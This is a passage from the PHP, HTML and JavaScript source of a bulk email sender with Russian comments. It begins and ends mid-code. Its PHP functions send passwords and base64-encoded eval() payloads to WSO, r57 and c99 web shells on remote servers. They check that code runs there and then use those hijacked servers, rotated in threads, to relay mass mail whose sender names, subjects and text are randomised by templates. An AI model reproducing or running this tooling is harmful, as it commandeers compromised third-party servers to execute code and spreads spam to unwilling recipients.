- 'dir_permissions' =>(int)is_writable("."),
- 'mail_function' =>(int)function_exists("mail"),
- 'fgc_function' =>(int)function_exists("file_get_contents")
- );
- if(isset($_POST['API'])) {
- print json_encode($state);
- exit;
- }
- print "<h1>diagnostics</h1>";
- print "<pre>";
- print_r($state);
- print "</pre>";
- exit;
- } elseif ($_SERVER['QUERY_STRING']=="pingoutserver") {
- $testcode="echo 'test';";
- $outserver=$_POST['server'];
- /*$list=explode(PHP_EOL, $_POST['servers']);
- $newlist=array();*/
- //foreach ($list as $outserver) {
- list($url,$type,$pass)=explode("|",$outserver);
- //сначала проверим что не 404
- $headers = get_headers($url, 1);
- if($headers[0]=="HTTP/1.1 404 Not Found") {
- print json_encode(array(
- "status"=>"BAD",
- "server"=>$outserver,
- "error"=>"404 not found"
- ));
- exit;
- }
- //иначе проводим тест авторизации и выполнения кода
- $result=false;
- if($type=="wso2") {
- $answer=wso2exec($url,$pass,$testcode);
- if($answer=='test')
- $result=true;
- } elseif($type=="r57") {
- list($login,$pass)=explode(":", $pass);
- $answer=r572exec($url,$login,$pass,$testcode);
- if($answer=='test')
- $result=true;
- } elseif($type=="c99") {
- list($login,$pass)=explode(":", $pass);
- $answer=c992exec($url,$login,$pass,$testcode);
- if($answer=='test')
- $result=true;
- } elseif($type=="ars") {
- //list($login,$pass)=explode(":", $pass);
- $answer=ars2exec($url,$pass,"test");
- if($answer=='test')
- $result=true;
- }
- //}
- if($result)
- print json_encode(array(
- "status"=>"GOOD",
- "server"=>$outserver
- ));
- else
- print json_encode(array(
- "status"=>"BAD",
- "server"=>$outserver,
- "error"=>"test command execution failed"
- ));
- exit;
- } elseif ($_SERVER['QUERY_STRING']=="linesinfile") {
- $file_path=$_POST['file_path'];
- if(!file_exists($file_path) || !is_readable($file_path))
- print "0";
- else {
- $file_data=explode("\n", file_get_contents($file_path));
- print count($file_data);
- }
- exit;
- }
- function ReplaceFileTemplate(&$target, &$email) {
- if(preg_match_all('/\[FILE:(.+?)\]/', $target, $arr, PREG_PATTERN_ORDER)) {
- foreach ($arr[0] as $key => $value) {
- $file_path=$arr[1][$key];
- if(!file_exists($file_path) || !is_readable($file_path))
- $target=str_replace($value, "file not available", $target);
- else {
- $file_data=explode("\n", file_get_contents($file_path));
- $result_str=$file_data[($email[enumer]-1)%count($file_data)];
- $target=str_replace($value, $result_str, $target);
- }
- }
- }
- }
- function ReplaceTemplates(&$target, &$email) {
- $target=str_replace('[TO-EMAIL]', $email[to], $target);
- $target=str_replace('[FROM-NAME]', $email[fromname], $target);
- $target=str_replace('[FROM-EMAIL]', $email[frommail], $target);
- $target=str_replace('[REPLY-EMAIL]', $email[replymail], $target);
- $target=str_replace('[THEME]', $email[tema], $target);
- //Макрос умножения
- foreach ($email[additional] as $key => $value) {
- $target=str_replace('[ADD'.$key.']', $value, $target);
- }
- ReplaceFileTemplate($target, $email);
- if(preg_match_all('/\[(DATE|DAY|MONTH|YEAR|TIME|HOUR|MINUTE)([+-]\d+)*\]/', $target, $arr)) {
- foreach ($arr[0] as $key => $value) {
- switch ($arr[1][$key]) {
- case 'DATE':
- $txt_val=date("d.m.Y", strtotime(intval($arr[2][$key])." day"));
- break;
- case 'DAY':
- $txt_val=date("d", strtotime(intval($arr[2][$key])." day"));
- break;
- case 'MONTH':
- $txt_val=date("m", strtotime(intval($arr[2][$key])." month"));
- break;
- case 'YEAR':
- $txt_val=date("Y", strtotime(intval($arr[2][$key])." year"));
- break;
- case 'TIME':
- $txt_val=date("H:i", strtotime(intval($arr[2][$key])." minute"));
- break;
- case 'HOUR':
- $txt_val=date("H", strtotime(intval($arr[2][$key])." hour"));
- break;
- case 'MINUTE':
- $txt_val=date("i", strtotime(intval($arr[2][$key])." minute"));
- break;
- default:
- $txt_val='';
- break;
- }
- $target=str_replace($value, $txt_val, $target);
- }
- }
- if(preg_match_all('/\[\((.*?)\)\*(\d+)\]/', $target, $arr, PREG_PATTERN_ORDER)) {
- foreach ($arr[0] as $key => $value) {
- $target=str_replace($value, str_repeat($arr[1][$key], $arr[2][$key]), $target);
- }
- }
- if(preg_match_all('/\[ENUM:([^\[\]]+?)\]/', $target, $arr, PREG_PATTERN_ORDER)) {
- foreach ($arr[0] as $key => $value) {
- $enum_array=explode("|", $arr[1][$key]);
- $enum_array_length=count($enum_array);
- $target=str_replace($value, $enum_array[$email[enumer]%$enum_array_length], $target);
- }
- }
- if(preg_match_all('/\[RAND\]/', $target, $arr, PREG_PATTERN_ORDER)) {
- foreach ($arr[0] as $key => $value) {
- $target=preg_replace("/\[RAND\]/", rand(5000,6000), $target, 1);
- }
- }
- if(preg_match_all('/\[RAND\-(\d+)\-(\d+)\]/', $target, $arr, PREG_PATTERN_ORDER)) {
- foreach ($arr[0] as $key => $value) {
- $target=preg_replace("/".str_replace(array("[","]"), array("\[","\]"), $value)."/", rand($arr[1][$key],$arr[2][$key]), $target, 1);
- }
- }
- while(preg_match_all('/\[RAND:([^\[\]]+?)\]/u', $target, $arr, PREG_PATTERN_ORDER)) {
- foreach($arr[0] as $key => $value) {
- $words=explode("|",$arr[1][$key]);
- $target=preg_replace("/".preg_quote($value,"/")."/", $words[array_rand($words)],$target, 1);
- }
- }
- }
- function applyEnumer($field, $enumer) {
- if(strpos($field, "\n")==-1) return $field;
- $field_values=explode("\n", $field);
- $field_values_count=count($field_values);
- $value=$field_values[$enumer%$field_values_count];
- return $value;
- }
- function makeAttach($attachedFiles, $boundary) {
- $data="";
- if($attachedFiles==null) return $data;
- foreach ($attachedFiles as $index => $file) {
- if($file==null) continue;
- $data.="--$boundary\n";
- $data.="Content-Type: ".$file['type']."; name=\"".$file['name']."\"\n";
- $data.="Content-Transfer-Encoding:base64\n";
- $data.="Content-ID: <".md5($file['name']).">\n\n";
- $data.=chunk_split($file['content'])."\n";
- }
- return $data;
- }
- function wso2exec($url, $pass, $code) {
- $postdata = http_build_query(
- array(
- 'pass' => $pass,
- 'a' => 'RC',
- 'p1' => trim($code)
- )
- );
- return get_content($url, $postdata, 10);
- }
- function ars2exec($url, $pass, $req="test", $data) {
- $postdata = http_build_query(
- array(
- 'pass' => $pass,
- 'req' => $req,
- 'data' => $data
- )
- );
- $response=get_content($url, $postdata, 10);
- $response_decoded=json_decode($response,true);
- if($req=="test")
- if($response_decoded['status']=="GOOD")
- return "test";
- else
- return "bad";
- //print $response;
- return $response_decoded;
- }
- function r572exec($url, $login, $pass, $code, $timeout=10) {
- $str_start=randomstr();
- $str_end=randomstr();
- $eval_sub='eval(base64_decode($_POST["debug_value_fgtr"]));';
- $eval_sub="echo('".substr($str_start,0,4)."'.'".substr($str_start,4,4)."');".$eval_sub."die('".substr($str_end,0,4)."'.'".substr($str_end,4,4)."');";
- $post='php_eval='.urlencode($eval_sub).'&dir=.%2F&cmd=php_eval&submit=exec&debug_value_fgtr='.urlencode(base64_encode($code));
- if(!empty($pass) && !empty($login)){
- $post.='&auth_user='.urlencode($login).'&auth_pass='.urlencode($pass);
- $headers=array('Authorization: Basic '.base64_encode($login.':'.$pass));
- }else{
- $headers=array();
- }
- $headers[]='Content-type: application/x-www-form-urlencoded';
- $opts = array('http' =>
- array(
- 'method' => 'POST',
- 'proxy' => (defined('PROXY'))?('tcp://' . PROXY):null,
- 'header' => implode(PHP_EOL, $headers),
- 'timeout' => $timeout,
- 'content' => $post
- )
- );
- //print_r($opts);
- $context = stream_context_create($opts);
- $response=@file_get_contents($url, false, $context);
- $response=strstr($response, $str_start);
- $response=str_replace(array($str_end, $str_start), "", $response);
- return $response;
- }
- function c992exec($url, $login, $pass, $code, $timeout=10) {
- $str_start=randomstr();
- $str_end=randomstr();
- $eval_sub='eval(base64_decode($_POST["debug_value_fgtr"]));';
- $eval_sub="echo('".substr($str_start,0,4)."'.'".substr($str_start,4,4)."');".$eval_sub."die('".substr($str_end,0,4)."'.'".substr($str_end,4,4)."');";
- $post='act=eval&eval='.urlencode($eval_sub).'&d=.%2F&eval_txt=1&debug_value_fgtr='.urlencode(base64_encode($code));
- if(!empty($pass) && !empty($login)){
- $headers=array('Authorization: Basic '.base64_encode($login.':'.$pass));
- }else{
- $headers=array();
- }
- $headers[]='Content-type: application/x-www-form-urlencoded';
- $opts = array('http' =>
- array(
- 'method' => 'POST',
- 'proxy' => (defined('PROXY'))?('tcp://' . PROXY):null,
- 'header' => implode(PHP_EOL, $headers),
- 'timeout' => $timeout,
- 'content' => $post
- )
- );
- //print_r($opts);
- $context = stream_context_create($opts);
- $response=@file_get_contents($url, false, $context);
- $response=strstr($response, $str_start);
- $response=str_replace(array($str_end, $str_start), "", $response);
- return $response;
- }
- function randomstr($int=8){
- $str='';
- $arr='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
- for($i=0;$i<$int;$i++) $str.=$arr{rand(0,61)};
- return $str;
- }
- function get_content($url, $post,$timeout) {
- $opts = array('http' =>
- array(
- 'method' => 'POST',
- 'proxy' => (defined('PROXY'))?('tcp://' . PROXY):null,
- 'header' => 'Content-type: application/x-www-form-urlencoded',
- 'timeout' => $timeout,
- 'content' => $post
- )
- );
- $context = stream_context_create($opts);
- return @file_get_contents($url, false, $context);
- }
- ?>
- <html>
- <head>
- <title><?php tr('name',false); ?> <?php echo VERSION;?></title>
- <meta http-equiv="content-type" content="text/html; charset=utf-8" />
- <script type="text/javascript" src="http://code.jquery.com/jquery-1.9.1.min.js"></script>
- <link href="http://netdna.bootstrapcdn.com/bootswatch/2.3.0/united/bootstrap.min.css" rel="stylesheet">
- <link rel="shortcut icon" type="image/x-icon" href="data:image/png;base64,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" />
- <style>
- body {
- background-color: WHITE;
- }
- .content {
- margin: 0 auto;
- background-color: #fcf2d4;
- width: 1000px;
- padding: 5px;
- border: 1px solid black;
- border-radius: 5px;
- }
- #console {
- margin: 0 auto;
- padding: 5px;
- border-radius: 5px;
- }
- #ext-console {
- padding: 5px;
- border-radius: 5px;
- overflow-y: scroll;
- height: 620px;
- text-align: left;
- }
- a:link {
- color: #000;
- }
- a:visited {
- color: #000;
- }
- .miniimput {
- font-family: Tahoma,Geneva,sans-serif;
- font-size: 14pt;
- border-color: 336699;
- border-style: inset;
- border-width: 2px;
- }
- #upload_button {
- display: inline-block;
- width: 24px;
- height: 24px;
- background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAADb0lEQVR42q2Va2gUVxTH/3dmdxMza8QQrRa0VFGjNEWzVCIENz4aX6C2H6wWRD8KVQpRCxUfQRDU2hbRD2o+iFqqtPUVo2ts89iqNRojLT7S7NZHTNwYsxs3j83uZmbu6ZkNSARFs+uB4V7m3vv/3fOYMwIpWJGnnYQCVMwbIV63RwxGcKAVlrfThmkaasMmahqjuPL5yFdqJQWYWfaMilncnmZHU1zC+6AHjx5HcX3lGJEywH36Ka1zDcUopwNXwwZsHKJ0m8C5W8/xLBDFrTXjRNIA15EWWvpxBmZ/4ERVB4sTYBJB8ihZyuNtRaw7jn/WTxGDBuSWNtEXeUNRMNaJypAOhYVNC8DqpuQN1lwFqioDiHVG0bB1qnhrQN7Bh/QZhyXnvQyUP4kjN8uBll5WTUDYA4b0xEzE+J0uBBouN0Pvi+O/nfnijYC8/X6yxj5DwtBN9Pbo+O2riThwPwaFj5t8fVIEfPfCCNxphcKuCOuRlFySx35bT8e+zsHexjjsfHudhawItTQ+R+huAA/3u5NPsmXvF9fS4Y0fYfffEdj4uOREGPw+6OtAV0MATaVzUgOMWuOlQ5tc2FHXBc4pDAaYLNPpCyLua0bz0UWpAUau/p32leRj859hOPh0X5+EVAVi/iDo/mMETixNDZC9/ALt2ePGN54Q7Gp/iEzitPpb+XmE4JllqQGw8CyNn5SFpjtPYVdkooosk8RVFuP51ZUvA8rOVwyRUm6VRPG30eeKlJoDEf4GdEVR6MUV+0dFSqRH4kjneTqvbxe/niprn/GJK1vlpkI0aH8GhEJwX7InRpMMGIaOv+rqg+La9ZuUP92VvPIAq2urRigaQsHo+XCmOVF7ox6iuvoyFRYWMNFIWlgVKtoibdhyezEyhwSRS9uw2rUKNTVXIC5UVFLRnJlcbnpKgEB3AAtPTsaI0RqWaCUonrsWnktVEKfOlFPRp7Oh6zqE1Zre3J5eEX/AoabB3+bnxgd8mD0GdocDFy/9AfHT8V9owby56OgIo6e7G0JRkvLCgijsiVWumqZheNYweCoYUHr4CM1yu+Hz+3Gv4V+oqpp0qCwzTRNTJudg4oQJqPZ6IXZ99yN9uWJ5Islct/1hSsEo8X+QsNls+Pn4CYhNm0u+1zK04sxhmYnFd2HWJbs6uxDpjfzwP0ptjebUDXW8AAAAAElFTkSuQmCC);
- }
- #help-screen,#settings-screen,#preview-screen {
- display: none;
- }
- #done {
- background-color: YellowGreen;
- width: 0;
- height: 15px;
- padding: 0;
- margin: 0;
- border-radius: 5px;
- }
- .addfield {
- font-family: "Arial Black","Gadget",sans-serif;
- font-size: 30px;
- color: #04bf0a;
- -moz-user-select: none;
- -khtml-user-select: none;
- user-select: none;
- cursor: pointer;
- }
- #makebold {
- font-weight: bold;
- }
- #makeitalic {
- font-style: italic;
- }
- #makeunderline {
- text-decoration: underline;
- }
- .button {
- padding: 5px 10px;
- display: inline;
- background: #777 url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAABkCAYAAABHLFpgAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAALdJREFUeNrEjkEWwiAQQyGlwOAN3Hv/m3UnA62vONF2p25lkfeTwAx+CuEWYgguxBgdYoo7YkwDOWeKDEjOO6TQStlRXlkRIylGl3JQYSaFJGxJIq9M2No9OYbuSOncYXuHWZN5Nglhcm6M4eDsfJDrt+Jv8vO7hyzL4rFtD8rmsPbu0bcOtEZq6tG0eVSKqlqhldao1grL2NY728qMhdozfbfqz3sc1dpBnYvMeqyrbet99U8BBgCRTXT4kGguQQAAAABJRU5ErkJggg==) repeat-x bottom;
- border: 0;
- color: #fff;
- cursor: pointer;
- font-weight: bold;
- border-radius: 5px;
- -moz-border-radius: 5px;
- -webkit-border-radius: 5px;
- text-shadow: 1px 1px #666;
- margin: 0 5px;
- }
- .button:hover {
- background-position: 0 -48px;
- }
- .button:active {
- background-position: 0 top;
- position: relative;
- top: 1px;
- padding: 6px 10px 4px;
- }
- #attachedFiles .File a {
- color: RED;
- font-weight: bold;
- text-decoration: none;
- font-family: 'Arial Black',Gadget,sans-serif;
- }
- #attachedFiles div {
- display: inline-block;
- width: 24px;
- height: 24px;
- background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAFF0lEQVR42o2Ve0xTVxjAv9MWOhRruRMsbx1YkJeiYMRlQ+PmYuZ0Y1NReagZwwm4LdkW/9hmzLYYTYwIQaPDsclwxsnclszXdGEzivJYeRVWHlIK8tbbF31B+XZuKUmvtLiTnN4v55x+v/M9DwHn+Pz0eVEFu7BBHiCJmUTklgjAlEBFp0xc1hySPtjX62jqC0zxntWRRnAzyLSwJD7RN+KDU4by9EQcNdvoBqcM0OUcTn/pgND5PlBeoyFib+HIbdXA8U1LA47tSI7A2QDSxQdK2KI346HzsZGqF3jSD5yFq0MZeOPMPfglJwVuqIa1lY29xdtj/Q/tWi3HWQElaQnYzY5RgGcLOEBSkBQ2n60mFdnJOMdLCNdUIxPXlX1nU8PmfbZvbZx2BkBOAYso4PTbCajWmkFAfURVovPUlOz8coDEwPnwVul98nvuGhwx2cBHJCRX24asf6r6v305ZE7ee+uW4QxAOAV8884y0OjMQIjnGE9SMUEmgW3f14LNNgETdMFOZ3ZyGPzcNjiBN09Jbl2uMPMBCRRQUMKe27ocH+nNs7qIC7JELIIQiQ/vjFgkwM3fPQB1cQHT3vSP1i2gbNtyHDBYuct6dBE4taJrKtPdIMlzuOeSAnrcAaIoIIwCzqevgEGjxaHLUxbxc2RaP4DMVwxZFxWgKc73U3kC/LBjBQ6PcXXwbAJ3Bl3O+M/1xowf66GnKJ9pb1a4B1zYuRJHTc8GEJpmAu7H4SNHahHGxwt3XqgD9ck8pqOlwQ0gv4S9mLESWVrJ/LbgmkaAXPx1T1gY6R/gRJwrkcDC0GAK8Mbt5bWgLtpPAY3uAT9lJoHWMu7x+tylR4dG4N+WNhgcZR2rRoMRQsKDYeuWDZBWRrPo5D6/DmWTe0BlVhLqrRP8CDplLnVFIhE+6tHArdt3YOOmV2kvEmN9jQJ6+wdJQe4u3HyuGroL32c6W58CcK1iEY3BlexkGLPZnTuu+gGEQiH8VXUXdDo9DA2PQl7ebkeBKWoaoK6pFT7MzYDXS6vhYWGuX1drMx+weGm8NPKjM+ylzCR0uugpCwgKvYTkj9+uoX7MBBaLFTKz04lJy6JarYG6ZhXJz9mFabTQOo/nMN2qVj5gUVSMVP5xKVu4JQ5Vo0ZnJbsGGVAgEhG2/h7qjCawWq0QnbqedNypwkCZPyh7Bkhm1nYsqFSA6uhepqdTxQeEy2OkUZ+Usidpu+6gAIGAzAiyQCiCx3V34bHeAOO2cVi2YSN0378D0vnzQKkegMysdMi/rIC2I7v9eh+28wFhS5ZKoz8957CgnQM83YsojwLIk/q72PloGBaHyADtdqIzWTB44fPQ3NVHMrLSqQUN0Hokm+l72MEHhERGS+MOltFWkThVaI4Md7rIIdMsomY9uHkDzSCkgECwWcxE4seg1WyC+uY2krNnJ2ZcqIeWrzOZvu5OPiA4IkoqfrdoUO4vEU/ijJfPMez0lXtN0AdCqwk0c4JhEHzgpQBvWGAegl/bhuBJYCx0DGktljP7A/vVXXxAbMpaH2V1VQQV58IsQxYUGr8398DhmGi5zNtLJNAbx2xNLcreomOHd9PtcTrHYpPXdClr7/Hfg6xDJ0hj1XUx9YaQ8whxdhlCJy0u7oVzeMxiNDAmnfYVJkCWQpe8JyftuoHenpsLgkKrqTYr/Yd9+YvrrGXHvuC/aP935Bz8UvT31SsS2o59ucTibr1q7QZDbOIqQ9mJr2b49j9nY543+33RowAAAABJRU5ErkJggg==);
- }
- #TIMEOUT_RANGE {
- display: inline-block;
- margin-left: 20px;
- vertical-align: middle;
- width: 300px;
- }
- .alexus-range,.alexus-range .crange {
- height: 20px;
- padding: 0;
- }
- .alexus-range .crange {
- background-color: Orange;
- }
- .alexus-range,.alexus-range .crange,.alexus-range .range-controller {
- -webkit-border-radius: 3px;
- -moz-border-radius: 3px;
- border-radius: 3px;
- }
- .alexus-range {
- width: 100%;
- background-color: white;
- text-align: left;
- margin-top: 10px;
- margin-bottom: 10px;
- }
- .alexus-range .crange {
- width: 0;
- }
- .alexus-range .range-controller {
- width: 15px;
- height: 25px;
- margin-top: -24px;
- margin-left: 0;
- cursor: pointer;
- padding: 0;
- }
- .barcounter {
- position: absolute;
- text-align: center;
- width: 700px;
- }
- .txtinput {
- height: 28px;
- min-height: 28px;
- }
- .form-horizontal .control-label {
- width: 250px;
- }
- .form-horizontal .controls {
- margin-left: 260px;
- }
- .button.white {
- background-color: NavajoWhite;
- color: #000;
- text-shadow: 1px 1px NavajoWhite;
- }
- .button.large {
- font-size: 125%;
- padding: 7px 12px;
- }
- .button.large:hover {
- background-position: 0 -35px;
- }
- .button.large:active {
- padding: 8px 12px 6px;
- background-position: 0 top;
- }
- h2 {
- margin-top: -15px;
- }
- #prime img, #help img, #settings img {
- height: 24px;
- }
- #outprogressbar .barcounter {
- width: 900px;
- }
- </style>
- <style type="text/less">
- .status {
- padding: 5px;
- /*.header {
- b {
- display: inline-block;
- margin-top: -7px;
- }
- i {
- display: block;
- float: right;
- margin-top: -3px;
- }
- }
- .data {
- padding-top: 10px;
- }*/
- .controls {
- text-align: right;
- float: right;
- }
- }
- </style>
- <script src="http://cdnjs.cloudflare.com/ajax/libs/less.js/1.4.1/less.min.js" type="text/javascript"></script>
- <script>
- var Done=new Array();
- var maxDoneSize=25;
- var toDo=new Array();
- var additional=new Array(); var toDoSize=0;
- var enumer=0;
- var attachedFiles=new Array();
- var outServers={
- active: false,
- position: 0,
- servers: new Array(),
- servers_hash: "",
- updateServers: function() {
- if(this.servers_hash==$("#out_servers").val()) return;
- this.servers_hash=$("#out_servers").val();
- var tmpservers=this.servers_hash.split("\n");
- this.servers=[];
- for(var i in tmpservers) {
- if(tmpservers[i].length<3) continue;
- this.servers.push(tmpservers[i]);
- }
- this.position=0;
- },
- getServer: function() {
- if(this.position>=this.servers.length) this.position=0;
- var serv=this.servers[this.position];
- this.position++;
- return serv;
- }
- }
- var threadNum=4;
- var timeoutNum=0;
- var AddNum=1;
- var status="stop";
- function ChangePass(login, pass) {
- $.post('<?php print $_SERVER['PHP_SELF'];?>?changepass',{login:login,pass:pass}, function(data) {
- var response=$.parseJSON(data);
- if(response['result']=='ok')
- $("#passchangesuccess").show();
- else
- $("#passchangeerror").show();
- });
- }
- function pingoutservers() {
- var servers=$("#out_servers").val();
- if(servers=="") return;
- window.pingout_servers=servers.split("\n");
- window.pingout_servers_todo=window.pingout_servers.length;
- $("#out_servers").val("");
- $("#pingout_log").html("");
- update_pingoutprogress();
- for(var i=0; i<4; i++)
- pingout_server();
- }
- function pingout_server() {
- if(window.pingout_servers.length==0) return;
- var server=window.pingout_servers.pop();
- $.post('<?php print $_SERVER['PHP_SELF'];?>?pingoutserver',{server:server}, function(data) {
- var result=$.parseJSON(data);
- var log=$("#pingout_log").html();
- if(result.status=="GOOD") {
- $("#pingout_log").html(log+"<span style='color:green;'>"+result.server+" работает</span><br>");
- $("#out_servers").val($("#out_servers").val()+result.server+"\n");
- } else {
- $("#pingout_log").html(log+"<span style='color:red;'>"+result.server+" ошибка: "+result.error+"</span><br>");
- }
- $("#pingout_log").scrollTop($("#pingout_log").prop("scrollHeight"));
- update_pingoutprogress();
- pingout_server();
- });
- }
- function update_pingoutprogress() {
- var pingoutservers_done=window.pingout_servers_todo-window.pingout_servers.length;
- var opb=$("#outprogressbar");
- $(opb).find(".barcounter").text(pingoutservers_done+"/"+window.pingout_servers_todo);
- var percent=parseInt(pingoutservers_done/(window.pingout_servers_todo/100));
- $(opb).find(".bar").css("width",percent+"%");
- }
- function Send(){
- enumer=0;
- if($("#use_out_servers").is(':checked')) {
- outServers.updateServers();
- outServers.active=true;
- } else {
- outServers.active=false;
- }
- var res=$("#to").val().match(/\[FILE:(.+?)\]/);
- if(res!=null) {
- var pattern=res[0];
- var file_path=res[1];
- $.post("?linesinfile",{file_path:file_path},function(data){
- var linesinfile=parseInt(data);
- toDo=[];
- for(var i=0;i<linesinfile;i++)
- toDo.push(pattern);
- toDoSize=toDo.length;
- SetProgressBar(0,"0/"+toDoSize);
- ResumeSendMail();
- });
- } else {
- toDo=$("#to").val().split("\n");
- toDoSize=toDo.length;
- SetProgressBar(0,"0/"+toDoSize);
- ResumeSendMail();
- }
- }
- function PauseSendMail() {
- status="pause";
- $("#PauseSendMail").prop("disabled",true);
- $("#ResumeSendMail, #StopSendMail").prop("disabled",false);
- $(".status span.tr-status-idle").removeClass("label-success label-warning").addClass("label-danger").text("<?php tr('status-pause',false);?>");
- }
- function ResumeSendMail() {
- status="start";
- $("#ResumeSendMail").prop("disabled",true);
- $("#PauseSendMail, #StopSendMail").prop("disabled",false);
- $(".status span.tr-status-idle").removeClass("label-danger label-warning").addClass("label-success").text("<?php tr('status-sending',false);?>");
- for(var i=0; i<threadNum; i++) SendMail();
- }
- function StopSendMail() {
- status="stop";
- StopSendMailHandler();
- }
- function Preview(){
- var params={
- to :"null@null.null",
- fromname:ReplaceEnum($("#fromname").val(), false),
- frommail:ReplaceEnum($("#frommail").val(), false),
- replymail:ReplaceEnum($("#replymail").val(), false),
- tema :ReplaceEnum($("#tema").val(), false),
- type :$("#type").val(),
- text :ReplaceEnum($("#text").val()),
- enumer :(toDoSize-toDo.length)
- };
- if(additional.length==0)
- $(".additional").each(function(){
- additional.push(ReplaceEnum($(this).val()));
- });
- else
- $(".additional").each(function(index, value){
- if(index<additional.length) return;
- additional.push(ReplaceEnum($(this).val()));
- });
- for(i in additional) {
- params["additional["+i+"]"]=additional[i];
- }
- $.post('<?php print $_SERVER['PHP_SELF'];?>?preview', params, function(data){
- if($("#type").val()=='text')
- showPreviewWindow('data:text/plain;charset=utf-8;base64,'+Base64.encode(data));
- else
- showPreviewWindow('data:text/html;charset=utf-8;base64,'+Base64.encode(data));
- });
- }
- function StopSendMailHandler() {
- //alert("Рассылка завершена!");
- $(".status span.tr-status-idle").removeClass("label-success label-danger").addClass("label-warning").text("<?php tr('status-idle',false);?>");
- $(".status .btn").prop("disabled",true);
- }
- function SendMail() {
- if(status=="pause")
- return;
- else if(status=="stop") {
- //toDo=[];
- //toDoSize=0;
- //SetProgressBar((toDoSize-toDo.length)/(toDoSize/100),(toDoSize-toDo.length)+"/"+toDoSize);
- return;
- }
- if(toDo.length==0) {//!email || email=="" || email==" ") {
- //останавливаем остальные потоки и генерируем событие окончания рассылки
- status="stop";
- StopSendMailHandler();
- return;
- }
- var email=toDo.pop();
- additional=new Array();
- if(email.indexOf(";")!=-1) {
- var emailadds=email.split(";");
- for(var adds in emailadds) {
- if(adds==0)
- email=emailadds[0];
- else
- additional.push(emailadds[adds]);
- }
- }
- var params={
